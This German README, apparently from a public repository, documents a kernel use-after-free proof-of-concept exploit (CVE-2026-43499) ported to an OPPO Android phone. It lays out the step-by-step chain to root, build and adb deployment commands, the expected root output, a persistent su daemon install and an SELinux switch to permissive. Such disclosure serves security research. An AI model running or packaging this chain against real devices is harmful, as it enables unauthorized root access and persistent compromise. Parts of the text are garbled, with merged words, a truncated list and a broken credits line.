
CVE-2026-43499 GhostLock futex UAF LPE PoC für OPPO PCKM00 (SM6150) / Linux 4.14.180
CVE-2026-43499 (GhostLock) — Linux-Kernel-futex-Priority-Inheritance-Use-after-free-PoC zur lokalen Rechteausweitung, portiert auf das OPPO PCKM00 (OP4A57, SM6150, Android 11, Kernel 4.14.180-perf+).
DISCLAIMER / 免责声明 Dieses Projekt dient ausschließlich autorisierter Sicherheitsforschung und Bildungszwecken. Verwende es nicht auf Geräten, die dir nicht gehören oder für die du keine ausdrückliche Testgenehmigung hast. Das Ausführen des Exploits kann den Kernel zum Absturz bringen. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden.
本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。
CVE-2026-43499 (GhostLock) ist ein Use-after-free im Futex-Priority-Inheritance-Code des Linux-Kernels. Der Fehler liegt darin, dass remove_waiter() im Proxy-Lock-Rollback-Pfad von rt_mutex_start_proxy_lock() falsch verwendet wird. Der freigegebene rt_mutex_waiter (auf dem Kernel-Stack allokiert) wird als angreiferkontrolliertes fd_set neu interpretiert, das von pselect() hineinkopiert wird, was eine Arbitrary-Write-Primitive ermöglicht.
Betroffener Bereich: Linux 4.x–6.x (eingeführt 2011). Die 4.14-Serie ist vollständig betroffen. Siehe report.md für die vollständige Analyse und verifizierte Symbol-Offsets.
futex requeue-pi UAF
└─> pselect fd_set stack copy (fake rt_mutex_waiter / fake task)
└─> arbitrary write (rt_mutex tree ops / sched_setattr)
└─> overwrite ashmem_fops -> configfs bin read/write
└─> pipe_buffer page rewrite (physical RW primitive)
└─> patch current task cred -> root
Der PoC läuft vollständig im Userspace über LD_PRELOAD — kein Geräteneustart erforderlich (es sei denn, der Kernel gerät in eine Panik).
| Feld | Wert |
|---|---|
| Gerät | OPPO PCKM00 / OP4A57 |
| SoC | Qualcomm SM6150 |
| Android | 11 (RKQ1.200903.002) |
| Sicherheitspatch | 2022-09-05 |
| Kernel | 4.14.180-perf+ (arm64, clang 10.0.7) |
| Build | OPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys |
Portierung auf andere 4.14-Geräte: kopiere
exploit/targets/oppo-pckm00/target.hund generiere die Symbol-Offsets aus deinem Kernel-Image neu (sieheanalysis/).
.
├── report.md # Full vulnerability analysis & verified offsets
├── exploit/
│ ├── Makefile # Build preload.so (Windows NDK / WSL)
│ ├── src/
│ │ ├── preload.c # LD_PRELOAD entry + forced disk logging + su
│ │ ├── main.c # Orchestration (waiter/owner/consumer threads)
│ │ ├── slide.c # KASLR leak (boot_id / nfulnl loggers)
│ │ ├── fops.c # ashmem_fops overwrite + configfs primitive
│ │ ├── pipe.c # pipe_buffer physrw primitive
│ │ ├── root.c # task walk + cred patch + seccomp/selinux
│ │ ├── util.c # kernelsnitch, skb page prep, kernel RW
│ │ ├── su_daemon.c # embedded su server (drop-in)
│ │ ├── su_blob.S # .incbin of su_daemon
│ │ └── wallpaper_blob.S # .incbin of wallpaper payload
│ ├── targets/oppo-pckm00/target.h # 4.14.180 symbol/struct offsets
│ └── assets/wallpaper.webp # embedded wallpaper payload
├── analysis/ # kernel image / kallsyms extraction scripts
└── LICENSE # Apache-2.0 (same as upstream GhostLock)
Erfordert Android NDK r29 (aarch64-linux-android30-clang).
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%
# put NDK at /opt/ndk/android-ndk-r29 (linux-x86_64 toolchain)
cd exploit
make wsl
# or directly:
bash ../analysis/build_preload.sh
Ausgabe: exploit/preload.so (64-Bit-aarch64-ELF-Shared-Object).
Der Build kompiliert außerdem su_daemon.c zu einem PIE-Binary und bettet es (zusammen mit dem Wallpaper) über die .S-Blobs in die .so ein.
# binary only (works from a release asset or a local build)
adb push preload.so /data/local/tmp/preload.so
# or with the repo layout
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so
Die .so wird über LD_PRELOAD in den sh-Prozess geladen; ihr Konstruktor führt die gesamte Exploit-Kette aus und meldet das Ergebnis:
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
Bei Erfolg meldet die Shell:
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0
Der aktuelle Prozess (und seine Kindprozesse) ist nun root. Ein su-Daemon wird nach /apex/com.android.virt/bin/su installiert (mit Fallback auf /data/local/tmp/su) und ein eingebettetes Wallpaper wird als Persistenz-/Verifikationsartefakt angewendet.
# from a new shell after the run
adb shell su -c 'id'
# or grab a root shell session (interactive su client)
adb shell /data/local/tmp/su
# check SELinux was toggled permissive (if the selinux path was hit)
adb shell getenforce
Alle pr_*-Diagnosen werden zusätzlich nach /sdcard/Download/log_<timestamp>.txt geschrieben (mit Fallback auf /data/local/tmp/log_<timestamp>.txt), mit O_SYNC + fsync() bei jeder Zeile, damit die Logs einen Kernel-Panic / Neustart überleben:
adb pull /sdcard/Download/log_*.txt
# or if /sdcard is not mounted early
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt
Das Log zeigt jede Phase (KASLR-Slide, fops-Overwrite, Pipe-PhysRW, Cred-Patch) und die abschließende uid_after / ROOT OK-Zeile — füge es bei der Meldung eines Problems bei.
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot # if SELinux/cred state or the wallpaper was modified
Hinweis: Das Ausführen des Exploits kann den Kernel zum Absturz bringen. Wenn
adbdie Verbindung verliert, warte auf den Neustart des Geräts und ziehe dann/sdcard/Download/log_*.txt— das erzwungeneO_SYNC/fsync-Logging ist genau das, was die Panik überlebt.
boot_id/nfulnl-Logger-Pfad (slide.c) plus einen ashmem_fops-Verifikationsdurchlauf (fops.c)..read/.write (kein read_iter/write_iter),ashmem_fops hat kein show_fdinfo,generic_file_splice_read ersetzt copy_splice_read,selinux_enforcing liegt innerhalb von struct selinux_state,rt_mutex_waiter / pipe_inode_info / cred.task_struct.seccomp) sind Best-Effort; ein Fehlschlagen des seccomp-Patches blockiert nicht das Cred-Overwrite-Root.IonStack/CVE-2026-43499), Apache-2.0.
https://github.com/NebuSec/CyberMeowfiaApache-2.0 — siehe LICENSE.